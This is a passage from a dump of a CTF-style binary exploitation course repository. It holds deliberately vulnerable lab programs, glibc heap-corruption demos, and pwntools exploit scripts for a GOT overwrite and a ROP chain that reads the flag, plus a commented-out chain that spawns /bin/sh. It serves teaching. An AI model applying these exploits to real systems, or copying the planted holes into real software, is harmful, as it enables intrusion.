    "content": "#include <stdio.h>\n#include <unistd.h>\n#include <stdlib.h>\n#include <string.h>\n#include <sys/mman.h>\n\nstruct _Register {\n    unsigned long rax;\n    unsigned long rbx;\n    unsigned long rcx;\n    unsigned long rdx;\n    unsigned long rdi;\n    unsigned long rsi;\n    unsigned long r8;\n    unsigned long r9;\n    unsigned long r10;\n    unsigned long r11;\n    unsigned long r12;\n    unsigned long r13;\n    unsigned long r14;\n    unsigned long r15;\n} regs;\n\n#define SET_REGENV() do { \\\n    asm(\".intel_syntax noprefix\"); \\\n    asm(\"xor rax, rax\"); \\\n    asm(\"xor rbx, rbx\"); \\\n    asm(\"xor rcx, rcx\"); \\\n    asm(\"xor rdx, rdx\"); \\\n    asm(\"xor rdi, rdi\"); \\\n    asm(\"xor rsi, rsi\"); \\\n    asm(\"xor r8,  r8\"); \\\n    asm(\"xor r9,  r9\"); \\\n    asm(\"xor r10, r10\"); \\\n    asm(\"xor r11, r11\"); \\\n    asm(\"xor r12, r12\"); \\\n    asm(\"xor r13, r13\"); \\\n    asm(\"xor r14, r14\"); \\\n    asm(\"xor r15, r15\"); \\\n    asm(\".att_syntax noprefix\"); \\\n    } while (0)\n\n#define UPDATE_REGS() do { \\\n    asm(\"mov %%rax, %0\\n\" : \"=r\"(regs.rax)); \\\n    asm(\"mov %%rbx, %0\\n\" : \"=r\"(regs.rbx)); \\\n    asm(\"mov %%rcx, %0\\n\" : \"=r\"(regs.rcx)); \\\n    asm(\"mov %%rdx, %0\\n\" : \"=r\"(regs.rdx)); \\\n    asm(\"mov %%rdi, %0\\n\" : \"=r\"(regs.rdi)); \\\n    asm(\"mov %%rsi, %0\\n\" : \"=r\"(regs.rsi)); \\\n    asm(\"mov %%r8, %0\\n\" : \"=r\"(regs.r8));   \\\n    asm(\"mov %%r9, %0\\n\" : \"=r\"(regs.r9));   \\\n    asm(\"mov %%r10, %0\\n\" : \"=r\"(regs.r10)); \\\n    asm(\"mov %%r11, %0\\n\" : \"=r\"(regs.r11)); \\\n    asm(\"mov %%r12, %0\\n\" : \"=r\"(regs.r12)); \\\n    asm(\"mov %%r13, %0\\n\" : \"=r\"(regs.r13)); \\\n    asm(\"mov %%r14, %0\\n\" : \"=r\"(regs.r14)); \\\n    asm(\"mov %%r15, %0\\n\" : \"=r\"(regs.r15)); \\\n    } while (0)\n\nconst char epilogue[] = \"H\\xc7\\xc0<\\x00\\x00\\x00\\x0f\\x05\"; // sys_exit\nconst char syscall_pattern[] = \"\\x0f\\x05\";\nconst char mov_r8_prefix[] = \"I\\xb8\";\nconst char call_r8[] = \"A\\xff\\xd0\";\n\nconst char *regs_str[] = {\n    \"rax\", \"rbx\", \"rcx\", \"rdx\", \"rdi\", \"rsi\", \"r8\",\n    \"r9\", \"r10\", \"r11\", \"r12\", \"r13\", \"r14\", \"r15\"};\nconst char *call_reg_patterns[] = {\n    \"\\xff\\xd0\",\n    \"\\xff\\xd3\",\n    \"\\xff\\xd1\",\n    \"\\xff\\xd2\",\n    \"\\xff\\xd7\",\n    \"\\xff\\xd6\",\n    \"A\\xff\\xd0\",\n    \"A\\xff\\xd1\",\n    \"A\\xff\\xd2\",\n    \"A\\xff\\xd3\",\n    \"A\\xff\\xd4\",\n    \"A\\xff\\xd5\",\n    \"A\\xff\\xd6\",\n    \"A\\xff\\xd7\",\n};\n\n#define REG_CNT (sizeof(regs_str) / sizeof(regs_str[0]))\n\nvoid syscall_monitor()\n{\n    UPDATE_REGS();\n    if (regs.rax == 60) {\n        printf(\"[sys_exit] rdi: 0x%lx, rsi: 0x%lx, rdx: 0x%lx\\n\", regs.rdi, regs.rsi, regs.rdx);\n        exit(regs.rdi);\n    } else {\n        write(1, \"Disallow !!\\n\", 12);\n    }\n}\n\nvoid call_reg_monitor()\n{\n    write(1, \"Disallow !!\\n\", 12);\n}\n\nvoid jmp_func(char *sc, int *idx, unsigned long func)\n{\n    memcpy(sc + *idx, mov_r8_prefix, sizeof(mov_r8_prefix)-1);\n    *idx += sizeof(mov_r8_prefix)-1;\n    \n    memcpy(sc + *idx, &func, 8);\n    *idx += 8;\n\n    memcpy(sc + *idx, call_r8, sizeof(call_r8)-1);\n    *idx += sizeof(call_r8)-1;\n}\n\nint main()\n{\n    setvbuf(stdin, 0, _IONBF, 0);\n    setvbuf(stdout, 0, _IONBF, 0);\n    \n    char *new_code_buf, *stack;\n    int nr, sc_idx, new_code_idx;\n    char shellcode[0x280] = {0};\n    char prologue[20];\n\n    stack = (char *) mmap((void *) 0x30000, 0x8000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0) + 0x4000;\n    new_code_buf = (char *) mmap((void *) 0x40000, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,\n                                MAP_SHARED | MAP_ANONYMOUS, -1, 0);\n\n    memcpy(prologue+0, \"H\\xbc\", 2);\n    memcpy(prologue+2, &stack, 8);\n    memcpy(prologue+10, \"H\\xbd\", 2);\n    memcpy(prologue+12, &stack, 8);\n\n    nr = read(0, shellcode, 0x200);\n    sc_idx = new_code_idx = 0;\n\n    // ****** instrumentation ******\n    memcpy(new_code_buf, prologue, sizeof(prologue));\n    new_code_idx += sizeof(prologue);\n\n    while (sc_idx < nr) {\n        // syscall\n        if (!memcmp(shellcode+sc_idx, syscall_pattern, sizeof(syscall_pattern)-1)) {\n            jmp_func(new_code_buf, &new_code_idx, (unsigned long) syscall_monitor);\n            sc_idx += sizeof(syscall_pattern)-1;\n            continue;\n        }\n\n        // call <reg>\n        int i = 0;\n        for (; i < REG_CNT; i++) {\n            if (!memcmp(shellcode+sc_idx, call_reg_patterns[i], strlen(call_reg_patterns[i]))) {\n                jmp_func(new_code_buf, &new_code_idx, (unsigned long) call_reg_monitor);\n                sc_idx += strlen(call_reg_patterns[i]);\n                break;\n            }\n        }\n        if (i < REG_CNT)\n            continue;\n\n        // normal insn\n        new_code_buf[new_code_idx++] = shellcode[sc_idx++];\n    }\n\n    memcpy(new_code_buf+new_code_idx, epilogue, sizeof(epilogue)-1);\n    new_code_idx += sizeof(epilogue)-1;\n\n    mprotect(new_code_buf, 0x1000, PROT_READ | PROT_EXEC);\n    SET_REGENV();\n    ( (void (*)(void)) (new_code_buf) )();\n\n    return 0;\n}\n"
  },
  {
    "path": "2021/week1/hw/sandbox/xinetd",
    "content": "service sandbox\n{\n    disable = no\n    type = UNLISTED\n    socket_type = stream\n    protocol = tcp\n    server = /home/sandbox/run.sh\n    user = sandbox\n    port = 30202\n    flags = REUSE\n    bind = 0.0.0.0\n    wait = no\n}"
  },
  {
    "path": "2021/week1/lab/Got2win/Dockerfile",
    "content": "FROM ubuntu:20.04\nMAINTAINER u1f383\n\nRUN apt-get update && \\\n    DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd\n\nRUN useradd -m got2win\nRUN chown -R root:root /home/got2win\nRUN chmod -R 755 /home/got2win\n\nCMD [\"/usr/sbin/xinetd\", \"-dontfork\"]"
  },
  {
    "path": "2021/week1/lab/Got2win/docker-compose.yml",
    "content": "version: '3'\n\nservices:\n  got2win:\n    build: ./\n    volumes:\n      - ./share:/home/got2win:ro\n      - ./xinetd:/etc/xinetd.d/got2win:ro\n    ports:\n      - \"30203:30203\"\n    expose:\n      - \"30203\""
  },
  {
    "path": "2021/week1/lab/Got2win/share/Makefile",
    "content": "all:\n\tgcc -g -no-pie -o got2win got2win.c\n"
  },
  {
    "path": "2021/week1/lab/Got2win/share/flag",
    "content": "FLAG{test}"
  },
  {
    "path": "2021/week1/lab/Got2win/share/got2win.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <fcntl.h>\n\nchar flag[0x30];\n\nint main()\n{\n    setvbuf(stdin, 0, _IONBF, 0);\n    setvbuf(stdout, 0, _IONBF, 0);\n\n    int fd = open(\"/home/got2win/flag\", O_RDONLY);\n    read(fd, flag, 0x30);\n    close(fd);\n    write(1, \"Good luck !\\n\", 13);\n\n    unsigned long addr = 0;\n    printf(\"Overwrite addr: \");\n    scanf(\"%lu\", &addr);\n    printf(\"Overwrite 8 bytes value: \");\n    read(0, (void *) addr, 0x8);\n\n    printf(\"Give me fake flag: \");\n    int nr = read(1, flag, 0x30);\n    if (nr <= 0)\n        exit(1);\n    flag[nr - 1] = '\\0';\n    printf(\"This is your flag: ctf{%s}... Just kidding :)\\n\", flag);\n\n    return 0;\n}\n"
  },
  {
    "path": "2021/week1/lab/Got2win/share/run.sh",
    "content": "#!/bin/sh\n\nexec 2>/dev/null\ntimeout 60 /home/got2win/got2win"
  },
  {
    "path": "2021/week1/lab/Got2win/xinetd",
    "content": "service got2win\n{\n    disable = no\n    type = UNLISTED\n    socket_type = stream\n    protocol = tcp\n    server = /home/got2win/run.sh\n    user = got2win\n    port = 30203\n    flags = REUSE\n    bind = 0.0.0.0\n    wait = no\n}"
  },
  {
    "path": "2021/week1/lab/Rop2win/Dockerfile",
    "content": "FROM ubuntu:20.04\nMAINTAINER u1f383\n\nRUN apt-get update && \\\n    DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd\n\nRUN useradd -m rop2win\nRUN chown -R root:root /home/rop2win\nRUN chmod -R 755 /home/rop2win\n\nCMD [\"/usr/sbin/xinetd\", \"-dontfork\"]"
  },
  {
    "path": "2021/week1/lab/Rop2win/docker-compose.yml",
    "content": "version: '3'\n\nservices:\n  rop2win:\n    build: ./\n    volumes:\n      - ./share:/home/rop2win:ro\n      - ./xinetd:/etc/xinetd.d/rop2win:ro\n    ports:\n      - \"30204:30204\"\n    expose:\n      - \"30204\""
  },
  {
    "path": "2021/week1/lab/Rop2win/share/Makefile",
    "content": "all:\n\tgcc -g -no-pie -static -fno-stack-protector -o rop2win rop2win.c -lseccomp\n"
  },
  {
    "path": "2021/week1/lab/Rop2win/share/flag",
    "content": "FLAG{test}"
  },
  {
    "path": "2021/week1/lab/Rop2win/share/rop2win.c",
    "content": "#include <stdio.h>\n#include <unistd.h>\n#include <seccomp.h>\n\nchar fn[0x20];\nchar ROP[0x100];\n\n\n// fd = open(\"flag\", 0);\n// read(fd, buf, 0x30);\n// write(1, buf, 0x30); // 1 --> stdout\n\nint main()\n{\n    setvbuf(stdin, 0, _IONBF, 0);\n    setvbuf(stdout, 0, _IONBF, 0);\n\n    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);\n    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);\n    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);\n    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);\n    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);\n    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);\n    seccomp_load(ctx);\n    seccomp_release(ctx);\n\n    printf(\"Give me filename: \");\n    read(0, fn, 0x20);\n\n    printf(\"Give me ROP: \");\n    read(0, ROP, 0x100);\n\n    char overflow[0x10];\n    printf(\"Give me overflow: \");\n    read(0, overflow, 0x30);\n\n    return 0;\n}\n"
  },
  {
    "path": "2021/week1/lab/Rop2win/share/run.sh",
    "content": "#!/bin/sh\n\nexec 2>/dev/null\ntimeout 60 /home/rop2win/rop2win"
  },
  {
    "path": "2021/week1/lab/Rop2win/xinetd",
    "content": "service rop2win\n{\n    disable = no\n    type = UNLISTED\n    socket_type = stream\n    protocol = tcp\n    server = /home/rop2win/run.sh\n    user = rop2win\n    port = 30204\n    flags = REUSE\n    bind = 0.0.0.0\n    wait = no\n}"
  },
  {
    "path": "2021/week1/lab/exp/Got2win.py",
    "content": "#!/usr/bin/python3\n\nfrom pwn import *\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\nr = remote('edu-ctf.zoolab.org', 30203)\n\nread_got = 0x404038\nwrite_plt = 0x4010c0\n\nr.sendlineafter('Overwrite addr: ', str(read_got))\nr.sendafter('Overwrite 8 bytes value: ', p64(write_plt))\n\nr.interactive()"
  },
  {
    "path": "2021/week1/lab/exp/Rop2win.py",
    "content": "#!/usr/bin/python3\n\nfrom pwn import *\nimport sys\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\nr = remote('edu-ctf.zoolab.org', 30204)\n\nROP_addr = 0x4df360\nfn = 0x4df460\n\npop_rdi_ret = 0x40186a # pop rdi ; ret\npop_rsi_ret = 0x4028a8 # pop rsi ; ret\npop_rdx_ret = 0x40176f # pop rdx ; ret\npop_rax_ret = 0x4607e7 # pop rax ; ret\nsyscall_ret = 0x42cea4 # syscall ; ret\nleave_ret = 0x401ebd # leave ; ret\n\nROP = flat(\n    pop_rdi_ret, fn,\n    pop_rsi_ret, 0,\n    pop_rax_ret, 2,\n    syscall_ret,\n\n    pop_rdi_ret, 3,\n    pop_rsi_ret, fn,\n    pop_rdx_ret, 0x30,\n    pop_rax_ret, 0,\n    syscall_ret,\n\n    pop_rdi_ret, 1,\n    pop_rax_ret, 1,\n    syscall_ret,\n)\n\nROP_bad = flat(\n    pop_rdi_ret, fn,\n    pop_rsi_ret, 0,\n    pop_rdx_ret, 0,\n    pop_rax_ret, 0x3b,\n    syscall_ret,\n)\n\nr.sendafter('Give me filename: ', '/home/rop2win/flag\\x00')\nr.sendafter('Give me ROP: ', b'A'*0x8 + ROP)\nr.sendafter('Give me overflow: ', b'A'*0x20 + p64(ROP_addr) + p64(leave_ret))\n\n# bad\n#r.sendafter('Give me filename: ', '/bin/sh\\x00')\n#r.sendafter('Give me ROP: ', b'A'*0x8 + ROP_bad)\n#r.sendafter('Give me overflow: ', b'A'*0x20 + p64(ROP_addr) + p64(leave_ret))\n\nr.interactive()"
  },
  {
    "path": "2021/week2/demo/Makefile",
    "content": "all: demo_double_free demo_fastbin demo_double_free demo_fastbin demo_heap_overflow demo_largebin demo_malloc_state demo_overlapping_chunks demo_smallbin demo_tcache_poisoning demo_tcache demo_UAF demo_unsortedbin\n\ndemo_double_free:\n\tgcc -g -o $@ $@.c\n\ndemo_fastbin:\n\tgcc -g -o $@ $@.c\n\ndemo_heap_overflow:\n\tgcc -g -o $@ $@.c\n\ndemo_largebin:\n\tgcc -g -o $@ $@.c\n\ndemo_malloc_state:\n\tgcc -g -o $@ $@.c\n\ndemo_overlapping_chunks:\n\tgcc -g -o $@ $@.c\n\ndemo_smallbin:\n\tgcc -g -o $@ $@.c\n\ndemo_tcache_poisoning:\n\tgcc -g -o $@ $@.c\n\ndemo_tcache:\n\tgcc -g -o $@ $@.c\n\ndemo_UAF:\n\tgcc -g -o $@ $@.c\n\ndemo_unsortedbin:\n\tgcc -g -o $@ $@.c\n\n"
  },
  {
    "path": "2021/week2/demo/demo_UAF.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n\nint main()\n{\n    void *AA, *BB;\n    \n    AA = malloc(0x10);\n    BB = malloc(0x10);\n    free(BB);\n    free(AA);\n    \n    unsigned long *a = malloc(0x10);\n    *a = 0xdeadbeef;\n    free(a);\n    *a = 0xdeadbeef;\n    malloc(0x10);\n    malloc(0x10);\n\n    return 0;\n}"
  },
  {
    "path": "2021/week2/demo/demo_UAF.sh",
    "content": "#!/bin/bash\n\ngdb ./demo_UAF"
  },
  {
    "path": "2021/week2/demo/demo_double_free.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n\nint main()\n{\n    void *dummy[7];\n    unsigned long *A, *B;\n\n    for (int i = 0; i < 7; i++)\n        dummy[i] = malloc(0x10);\n\n    A = malloc(0x10);\n    B = malloc(0x10);\n\n    for (int i = 0; i < 7; i++)\n        free(dummy[i]);\n\n    free(A);\n    free(B);\n    free(A);\n    // clean tcache\n    // 不過因為 malloc 會 trigger tcache stashing，\n    // 因此我們用 calloc() 直接從 fastbin 取出 chunk\n    A = calloc(0x10, 1);\n    *A = 0xdeadbeef;\n    calloc(0x10, 1);\n    calloc(0x10, 1);\n    calloc(0x10, 1); // 0xdeadbeef\n\n    return 0;\n}"
  },
  {
    "path": "2021/week2/demo/demo_double_free.sh",
    "content": "#!/bin/bash\n\ngdb ./demo_double_free"
  },
  {
    "path": "2021/week2/demo/demo_fastbin.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n\nint main()\n{\n    void *dummy[7];\n    void *chk1, *chk2;\n\n    for (int i = 0; i < 7; i++)\n        dummy[i] = malloc(0x10);\n\n    chk1 = malloc(0x10);\n    chk2 = malloc(0x10);\n\n    // fill tcache\n    for (int i = 0; i < 7; i++)\n        free(dummy[i]);\n\n    free(chk1);\n    free(chk2);\n\n    return 0;\n}"
  },
  {
    "path": "2021/week2/demo/demo_fastbin.sh",
    "content": "#!/bin/bash\n\ngdb ./demo_tcache\n\n# p *(tcache_entry*) 0x5555555593f0\n# p main_arena.fastbinsY"
  },
  {
    "path": "2021/week2/demo/demo_heap_overflow.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n\nint main()\n{\n    unsigned long *chk1 = malloc(0x10);\n    void *chk2 = malloc(0x10);\n    chk1[3] = 0x31;\n    free(chk2);\n\n    return 0;\n}"
  },
  {
    "path": "2021/week2/demo/demo_heap_overflow.sh",
    "content": "#!/bin/bash\n\ngdb ./demo_heap_overflow"
  },
  {
    "path": "2021/week2/demo/demo_largebin.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n\nint main()\n{\n    void *avoid_consolidation[7];\n    void *chk[7];\n\n    for (int i = 0; i < 7; i++) {\n        chk[i] = malloc(0x410 + i*0x10);\n        avoid_consolidation[i] = malloc(0x10);\n    }\n\n\n    for (int i = 0; i < 7; i++)\n        free(chk[i]);\n\n    malloc(0x800); // trigger unsorted bin --> large bin\n    \n    return 0;\n}"
  },
  {
    "path": "2021/week2/demo/demo_largebin.sh",
    "content": "#!/bin/bash\n\ngdb ./demo_largebin"
  },
  {
    "path": "2021/week2/demo/demo_malloc_state.c",
    "content": "#include <stdlib.h>\n#include <stdio.h>\n\nint main()\n{\n    malloc(0x100);\n    return 0;\n}"
  },
  {
    "path": "2021/week2/demo/demo_malloc_state.sh",
    "content": "#!/bin/bash\n\ngdb ./demo_malloc_state\n\n# p main_arena"
  },
  {
    "path": "2021/week2/demo/demo_overlapping_chunks.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n\nint main()\n{\n    unsigned long *A, *B;\n    unsigned total;\n\tA = malloc(0x410);\n\tB = malloc(0x10);\n\n    *(A-1) = 0x421 + 0x20; // 0x20 == B 的 chunk size\n    free(A); // consolidate to top chunk\n    \n    A = malloc(0x430);\n    total = (0x430 / 8);\n    A[total - 2] = 0xdeadbeef;\n    \n    printf(\"%lx\\n\", B[0]);\n    return 0;\n}"
  },
  {
    "path": "2021/week2/demo/demo_overlapping_chunks.sh",
    "content": "#!/bin/bash\n\ngdb ./demo_overlapping_chunks"
  },
  {
    "path": "2021/week2/demo/demo_smallbin.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n\nint main()\n{\n    void *avoid_consolidation;\n    void *unsorted_bin;\n\n    unsorted_bin = malloc(0x410);\n    avoid_consolidation = malloc(0x10);\n\n    free(unsorted_bin);\n    malloc(0x3f0);\n    malloc(0x20); // 0x30 > 0x20\n    \n    return 0;\n}"
  },
  {
    "path": "2021/week2/demo/demo_smallbin.sh",
    "content": "#!/bin/bash\n\ngdb ./demo_smallbin"
  },
  {
    "path": "2021/week2/demo/demo_tcache.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n\nint main()\n{\n    void *a, *b, *c, *d;\n    void *dummy1, *dummy2;\n    \n    dummy1 = malloc(0x140);\n    dummy2 = malloc(0x140);\n    free(dummy1);\n    free(dummy2);\n\na = malloc(0x10);\nb = malloc(0x10);\nc = malloc(0x10);\nd = malloc(0x10);\n\nfree(a);\nmalloc(0x10);\nfree(b);\nfree(c);\nfree(d);\n\n    return 0;\n}"
  },
  {
    "path": "2021/week2/demo/demo_tcache.sh",
    "content": "#!/bin/bash\n\ngdb ./demo_tcache\n\n# p *(tcache_entry*) 0x5555555593f0\n# p *(tcache_perthread_struct*) 0x555555559010"
  },
  {
    "path": "2021/week2/demo/demo_tcache_poisoning.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n\nint main()\n{\n    unsigned long *A;\n\n    A = malloc(0x10);\n    free(A);\n    *(A+1) = 0xc0ffee; // overwrite key\n    free(A);\n\n    *A = 0xdeadbeef;\n    malloc(0x10);\n    malloc(0x10); // get 0xdeadbeef\n\n    return 0;\n}"
  },
  {
    "path": "2021/week2/demo/demo_tcache_poisoning.sh",
    "content": "#!/bin/bash\n\ngdb ./demo_tcache_poisoning"
  },
  {
    "path": "2021/week2/demo/demo_unsortedbin.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n\nint main()\n{\n    void *avoid_consolidation[7];\n    void *chk[7];\n\n    for (int i = 0; i < 7; i++) {\n        chk[i] = malloc(0x440);\n        avoid_consolidation[i] = malloc(0x10);\n    }\n\n    for (int i = 0; i < 7; i++)\n        free(chk[i]);\n\n    return 0;\n}"
  },
  {
    "path": "2021/week2/demo/demo_unsortedbin.sh",
    "content": "#!/bin/bash\n\ngdb ./demo_unsortedbin"
  },
  {
    "path": "2021/week2/hw/beeftalk/Dockerfile",
    "content": "FROM ubuntu:20.04\nMAINTAINER u1f383\n\nRUN apt-get update && \\\n    DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd\n\nRUN useradd -m beeftalk\nRUN chown -R root:root /home/beeftalk\nRUN chmod -R 755 /home/beeftalk\n\nCMD [\"/usr/sbin/xinetd\", \"-dontfork\"]"
  },
  {
    "path": "2021/week2/hw/beeftalk/docker-compose.yml",
    "content": "version: '3'\n\nservices:\n  beeftalk:\n    build: ./\n    volumes:\n      - ./share:/home/beeftalk:ro\n      - ./xinetd:/etc/xinetd.d/beeftalk:ro\n    ports:\n      - \"30207:30207\"\n    expose:\n      - \"30207\""
  },
  {
    "path": "2021/week2/hw/beeftalk/share/Makefile",
    "content": "all:\n\tgcc -g -o beeftalk beeftalk.c"
  },
  {
    "path": "2021/week2/hw/beeftalk/share/beeftalk.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <string.h>\n#include <time.h>\n#include <fcntl.h>\n#include <sys/wait.h>\n#include <sys/types.h>\n#include <sys/stat.h>\n#include \"beeftalk.h\"\n#define MAX_USER 0x8\n\ntypedef struct _User {\n    char *name;\n    char *desc;\n    char *job;\n    char *pipe_name;\n    char *fifo0;\n    char *fifo1;\n    unsigned long namelen;\n    unsigned long token;\n    long int assets;\n} User;\n\nUser *init_user();\nvoid update_user(User*);\nvoid free_user(User*);\nvoid show_user(User*);\nUser *find_user_by_token(unsigned long);\n\nUser *login();\nvoid chat(User*);\nvoid signup();\n\nUser *users[ MAX_USER ];\nint uridx = 0;\n\nUser *init_user()\n{\n    User *u = malloc(sizeof(User));\n    u->name = malloc(0x20);\n    u->desc = malloc(0x40);\n    u->job = malloc(0x10);\n    u->fifo0 = malloc(0x20);\n    u->fifo1 = malloc(0x20);\n    u->token = 0;\n    u->assets = 0;\n    u->namelen = 0;\n\n    return u;\n}\n\nvoid free_user(User *u)\n{\n    free(u->name);\n    free(u->desc);\n    free(u->job);\n    free(u->fifo0);\n    free(u->fifo1);\n    unlink(u->fifo0);\n    unlink(u->fifo1);\n    free(u);\n    \n}\n\nvoid show_user(User *u)\n{\n    printf(\"-----------\\n\"\n            \"Name:    %s\\n\"\n            \"Desc:    %s\\n\"\n            \"Job:     %s\\n\"\n            \"Assets:  %ld\\n\"\n            \"Token:   %lu\\n\"\n            \"-----------\\n\", u->name, u->desc, u->job, u->assets, u->token);\n}\n\nvoid delete_account(unsigned long token)\n{\n    User *u = find_user_by_token(token);\n\n    if (u) {\n        free_user(u);\n        uridx--;\n    }\n}\n\nUser *find_user_by_token(unsigned long token)\n{\n    for (int i = 0; i < MAX_USER; i++)\n        if (users[i] && users[i]->token == token)\n            return users[i];\n\n    return NULL;\n}\n\nUser *login()\n{\n    unsigned long token = 0;\n    User *u;\n    \n    printf(\"Give me your token: \\n> \");\n    token = readlx64();\n\n    u = find_user_by_token(token);\n    if (u)\n        puts(\"[+] Login successfully !\");\n    else\n        puts(\"[-] Login failed\");\n\n    return u;\n}\n\nvoid update_user(User *u)\n{\n    printf(\"Name: \\n> \");\n    readstr(u->name, u->namelen);\n    \n    printf(\"Desc: \\n> \");\n    readstr(u->desc, 0x40);\n    \n    printf(\"Job: \\n> \");\n    readstr(u->job, 0x10);\n    \n    printf(\"Money: \\n> \");\n    u->assets = readi64();\n\n    puts(\"Update successfully !\");\n}\n\nvoid signup()\n{\n    if (uridx >= MAX_USER) {\n        puts(\"Our server can't hold more users\");\n        return;\n    }\n\n    User *tmpuser = init_user();\n    char buf[0x100];\n    int nr;\n    \n    printf(\"What's your name ?\\n> \");\n    nr = safe_read(0, buf, 0x100);\n    if (nr > 0x20)\n        tmpuser->name = realloc(tmpuser->name, nr);\n    \n    tmpuser->namelen = nr;\n    memcpy(tmpuser->name, buf, nr);\n    \n    printf(\"What's your desc ?\\n> \");\n    readstr(tmpuser->desc, 0x40);\n    \n    printf(\"What's your job ?\\n> \");\n    readstr(tmpuser->job, 0x10);\n    \n    printf(\"How much money do you have ?\\n> \");\n    tmpuser->assets = readi64();\n\n    show_user(tmpuser);\n    printf(\"Is correct ?\\n(y/n) > \");\n\n    if (readc() == 'n') {\n        free_user(tmpuser);\n        puts(\"Sorry, plz signup again :(\");\n        return;\n    }\n\n    do {\n        tmpuser->token = (((unsigned long) rand()) << 32) + (unsigned long) rand() + tmpuser->assets;\n        sprintf(tmpuser->fifo0, \"/tmp/%lx-0\", tmpuser->token);\n    } while (!access(tmpuser->fifo0, F_OK));\n\n    sprintf(tmpuser->fifo1, \"/tmp/%lx-1\", tmpuser->token);    \n    mkfifo(tmpuser->fifo0, 0666); // for send\n    mkfifo(tmpuser->fifo1, 0666); // for recv\n    users[uridx++] = tmpuser;\n\n    printf(\"Done! This is your login token: %lx\\n\", tmpuser->token);\n}\n\nvoid chat(User *u)\n{\n    char buf[0x100] = {0};\n    char fifo0[0x20] = {0};\n    char fifo1[0x20] = {0};\n    int nr, len;\n    int fd0, fd1;\n    int connector = 0;\n    char *chat_buf = (char *) malloc(0x100);\n\n    printf(\"Connect to room with token ?\\n(y/n) > \");\n    if (readc() == 'y')\n    {\n        printf(\"Connection token: \\n> \");\n        readstr(buf, 0x10);\n        sprintf(fifo1, \"/tmp/%16s-0\", buf);\n        sprintf(fifo0, \"/tmp/%16s-1\", buf);\n\n        if (access(fifo1, F_OK) == -1 || access(fifo0, F_OK) == -1) {\n            puts(\"[-] Match failed\");\n            free(chat_buf);\n            return;\n        }\n\n        fd0 = open(fifo0, O_RDONLY);\n        fd1 = open(fifo1, O_WRONLY);\n        puts(\"Match successfully !\");\n\n        connector = 1;\n    }\n    else\n    {\n        strcpy(fifo0, u->fifo0);\n        strcpy(fifo1, u->fifo1);\n\n        puts(\"Waiting for matching ...\");\n        fd1 = open(fifo1, O_WRONLY);\n        fd0 = open(fifo0, O_RDONLY);\n        puts(\"Match successfully !\");\n    }\n\n    if (fd0 == -1 || fd1 == -1) {\n        puts(\"[-] Match failed\");\n        free(chat_buf);\n        return;\n    }\n\n    puts(\"\\n*--------** Room **--------*\");\n    if (connector)\n    {\n        while (1)\n        {\n            // send\n            printf(\"> \");\n            nr = safe_read(0, buf, 0x80);\n            sprintf(chat_buf, \"%s: \", u->name); // name prefix\n            len = strlen(chat_buf);\n            memcpy(chat_buf + len, buf , nr); // copy content\n            write(fd1, chat_buf, nr + len);\n\n            // maybe you want to exit\n            if (strstr(buf, \"I need to go :(\"))\n                break;\n\n            // recv\n            nr = safe_read(fd0, chat_buf, 0x100);\n            write(1, chat_buf, nr);\n\n            // maybe he/she want to exit\n            if (strstr(chat_buf, \"I need to go :(\"))\n                break;\n        }\n    }\n    else\n    {\n        while (1)\n        {\n            // recv\n            nr = safe_read(fd0, chat_buf, 0x80);\n            write(1, chat_buf, nr);\n\n            // maybe he/she want to exit\n            if (strstr(chat_buf, \"I need to go :(\"))\n                break;\n            \n            // send\n            printf(\"> \");\n            nr = safe_read(0, buf, 0x80);\n            sprintf(chat_buf, \"%s: \", u->name); // name prefix\n            len = strlen(chat_buf);\n            memcpy(chat_buf + len, buf , nr); // copy content\n            write(fd1, chat_buf, nr + len);\n\n            // maybe you want to exit\n            if (strstr(buf, \"I need to go :(\"))\n                break;\n        }\n    }\n    \n    puts(\"\\n*--------** Chat end **--------*\");\n    sleep(1);\n    close(fd0);\n    close(fd1);\n    free(chat_buf);\n\n    return;\n}\n\nint main()\n{\n    srand(time(NULL));\n    setvbuf(stdin, 0, _IONBF, 0);\n    setvbuf(stdout, 0, _IONBF, 0);\n    puts(banner);\n\n    User *user;\n    while (1)\n    {\n        while (1)\n        {\n            show_begin_menu();\n            switch (readu64()) {\n                case 1:\n                    if (user = login())\n                        break;\n                    continue;\n                case 2:\n                    signup();\n                    continue;\n                case 3:\n                    puts(\"Goodbye !\");\n                    goto leave;\n                default:\n                    puts(\"Invalid option\");\n                    continue;\n            }\n            break;\n        }\n        printf(\"Hello %s, have a nice day !\\n\", user->name);\n\n        while (1)\n        {\n            show_chat_menu();\n            switch (readu64()) {\n                case 1:\n                    update_user(user);\n                    continue;\n                case 2:\n                    chat(user);\n                    continue;\n                case 3:\n                    printf(\"Are you sure ?\\n(y/n) > \");\n                    if (readc() == 'y') {\n                        delete_account(user->token);\n                        puts(\"Delete successfully !\");\n                        break;\n                    }\n                    continue;\n                case 4:\n                    puts(\"Login again\");\n                    break;\n                default:\n                    puts(\"Invalid option\");\n                    continue;\n            }\n            break;\n        }        \n    